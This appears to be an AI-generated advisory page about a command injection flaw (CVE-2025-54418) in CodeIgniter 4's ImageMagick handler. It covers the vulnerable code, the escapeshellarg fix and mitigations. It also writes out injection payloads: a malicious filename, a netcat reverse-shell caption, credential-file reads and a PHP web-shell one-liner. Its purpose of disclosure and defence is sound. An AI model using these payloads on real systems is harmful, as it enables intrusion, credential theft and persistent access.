CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-54418
9.80.36%

Picture Perfect Pwnage: RCE in CodeIgniter 4 ImageMagick Handler

Alon Barad
Alon Barad
Software Engineer

Feb 14, 2026·6 min read·8 visits

PoC Available

Executive Summary (TL;DR)

CodeIgniter 4's `ImageMagickHandler` manually concatenated user inputs into shell commands using weak quoting. Attackers can break out of these quotes via malicious filenames or text inputs to execute system commands (RCE). Fixed in version 4.6.2.

CodeIgniter 4, a popular PHP full-stack web framework, contains a critical OS Command Injection vulnerability within its ImageMagick handler. By failing to properly sanitize file paths and text parameters before passing them to the system shell, the framework allows remote attackers to execute arbitrary commands. This typically occurs during image processing tasks like resizing or adding text overlays, turning a standard file upload or watermark feature into a full remote shell.

The Hook: Wrapper Hell

We have been teaching developers for two decades that system(), exec(), and passthru() are the functions where careers go to die. If you pass user input to a shell, you are begging to get pwned. Yet, the allure of ImageMagick is too strong. It's the industry standard for image manipulation, but its native PHP extension (imagick) can be finicky to install. So, what does a helpful framework do? It writes a wrapper.

CodeIgniter 4 offers a convenient ImageMagickHandler. It abstracts away the complexity of resizing, cropping, and text-overlaying images. Under the hood, however, it is doing the one thing we tell juniors never to do: it is building a massive string representing a command line instruction and handing it off to the OS.

This vulnerability is a classic case of "abstraction leakage." The developer using CodeIgniter thinks they are calling a safe method like $image->resize(). In reality, they are indirectly calling /usr/bin/convert, and the framework's safety rails were made of balsa wood.

The Flaw: String Concatenation in 2025

The root cause of CVE-2025-54418 is a failure to respect the complexity of shell syntax. The CodeIgniter team attempted to sanitize inputs by wrapping them in quotes. In PHP, this looked something like ' "' . $source . '" '.

This is the "fingers crossed" approach to security. It assumes that the $source (the filename) will be a nice, well-behaved string like vacation.jpg. But hackers don't go on vacation.

If an attacker can control the filename—either by uploading a file named specifically to trigger the bug or by manipulating the path passed to the handler—they can simply close the quote, add a command separator (like ; or &&), and insert their own payload.

Specifically, the _resize() and _text() methods in ImageMagickHandler.php were guilty. They took the path to the image and the text for overlays and dropped them directly into the command string. No escapeshellarg(). No escapeshellcmd(). Just raw string concatenation. It is effectively the same as SQL injection, but instead of dumping a database, you get a shell on the server.

The Code: The Smoking Gun

Let's look at the diff. This is where the magic happens (or stops happening, depending on your perspective). The vulnerable code relied on manual quoting.

Vulnerable Code (Pre-4.6.2)

In system/Images/Handlers/ImageMagickHandler.php, inside the _resize function:

// The $source and $destination are just variables concatenated into the string
$action = $maintainRatio
    ? ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . ' "' . $source . '" "' . $destination . '"'
    : ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . "{$escape}! \"" . $source . '" "' . $destination . '"';

If $source is image.jpg";id;", the resulting command executed by the shell becomes: convert -resize 100x100 "image.jpg";id;" "destination.jpg"

The shell sees three commands:

  1. convert ... "image.jpg"
  2. id (The payload)
  3. " "destination.jpg" (Garbage, usually ignored or errors out)

The Fix (Commit e18120b)

The fix is simple and standard: use escapeshellarg(). This PHP function wraps the string in single quotes and escapes any existing single quotes, ensuring the shell treats the entire string as a single argument.

$action = $maintainRatio
    ? ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . ' ' . escapeshellarg($source) . ' ' . escapeshellarg($destination)
    : ' -resize ' . ($this->width ?? 0) . 'x' . ($this->height ?? 0) . "{$escape}! " . escapeshellarg($source) . ' ' . escapeshellarg($destination);

They applied similar fixes to the text() method, where user-supplied text for watermarks was also being injected directly.

The Exploit: Breakout

To exploit this, we need to find a place where the application processes an image using the imagick handler and allows us to influence the parameters.

Attack Vector 1: The Malicious Filename

Many web apps take an uploaded file and immediately resize it for thumbnails. If the application does not rename the file to a safe, random string before processing it, we win.

  1. Payload Creation: Create a valid image file. Rename it to pwn";touch /tmp/hacked;" .jpg.
  2. Upload: Upload this file to the target profile picture endpoint.
  3. Trigger: When CodeIgniter calls $image->withFile('pwn...')->resize(...), the shell command executes touch /tmp/hacked.

Attack Vector 2: Meme Generators (Text Injection)

The text() method is even juicier. If the application has a feature like "Add a caption to this image," it likely passes your string directly to the handler.

  1. Input: In the caption field, enter: Hello'; nc -e /bin/sh 10.0.0.1 4444; '
  2. Execution: The backend constructs: convert ... -annotate 0 'Hello'; nc -e /bin/sh 10.0.0.1 4444; '' ...
  3. Result: Reverse shell.

Here is the flow of the attack:

The Impact: Total Compromise

This is a CVSS 9.8 Critical vulnerability for a reason. Command injection is the "Game Over" of web security.

Once the command executes, the attacker has the privileges of the web server user (usually www-data or apache). From there, the kill chain is predictable and devastating:

  1. Reconnaissance: ls -la, cat /etc/passwd, env. The attacker maps the filesystem.
  2. Data Exfiltration: They read your .env file. Now they have your database credentials, AWS keys, and mail server passwords.
  3. Persistence: They write a PHP web shell to a public directory (echo '<?php system($_GET["c"]); ?>' > shell.php) so they can come back later even if the image bug is fixed.
  4. Lateral Movement: If the server is inside a VPC, they use it as a jump box to attack internal services (Redis, database servers, internal admin panels).

Because ImageMagick is often installed on powerful servers to handle media processing, these machines are also prime targets for crypto-jacking miners.

Mitigation: Stop the Bleeding

If you are running CodeIgniter 4, you have two options. One is a fix, the other is a band-aid.

1. The Real Fix (Upgrade)

Upgrade to CodeIgniter 4.6.2 immediately. The patch is robust and properly escapes arguments. Run composer update and verify your composer.lock shows the correct version.

2. The Configuration Workaround

If you cannot upgrade immediately (perhaps you have legacy dependencies), change your image handling library. Switch from imagick to gd in your configuration. The GD library is a PHP extension that does not shell out to the operating system, rendering this specific command injection vector null and void.

To do this, edit app/Config/Images.php:

public $defaultHandler = 'gd'; // Was 'imagick'

> [!NOTE] > Even with the patch, it is best practice to never keep user-supplied filenames on your filesystem. Always rename uploaded files to a random alphanumeric string (UUID) immediately upon receipt. This kills entire classes of vulnerabilities, including this one.

Official Patches

CodeIgniterGitHub Commit Fix

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
0.36%
Top 43% most exploited

Affected Systems

CodeIgniter 4 Framework (< 4.6.2)Applications using ImageMagickHandler

Affected Versions Detail

Product
Affected Versions
Fixed Version
CodeIgniter 4
CodeIgniter Foundation
>= 4.0.0, < 4.6.24.6.2
AttributeDetail
CWE IDCWE-78 (OS Command Injection)
CVSS Score9.8 (Critical)
Attack VectorNetwork (AV:N)
Privileges RequiredNone (PR:N)
ImpactConfidentiality, Integrity, Availability (High)
Vulnerable ComponentImageMagickHandler.php

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Known Exploits & Detection

ConceptualExploitation involves uploading files with shell metacharacters in the filename or providing malicious text overlay strings.

Vulnerability Timeline

Fix committed to repository
2025-07-26
CVE Published
2025-07-28
GHSA Advisory Published
2025-07-28

References & Sources

  • [1]GitHub Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.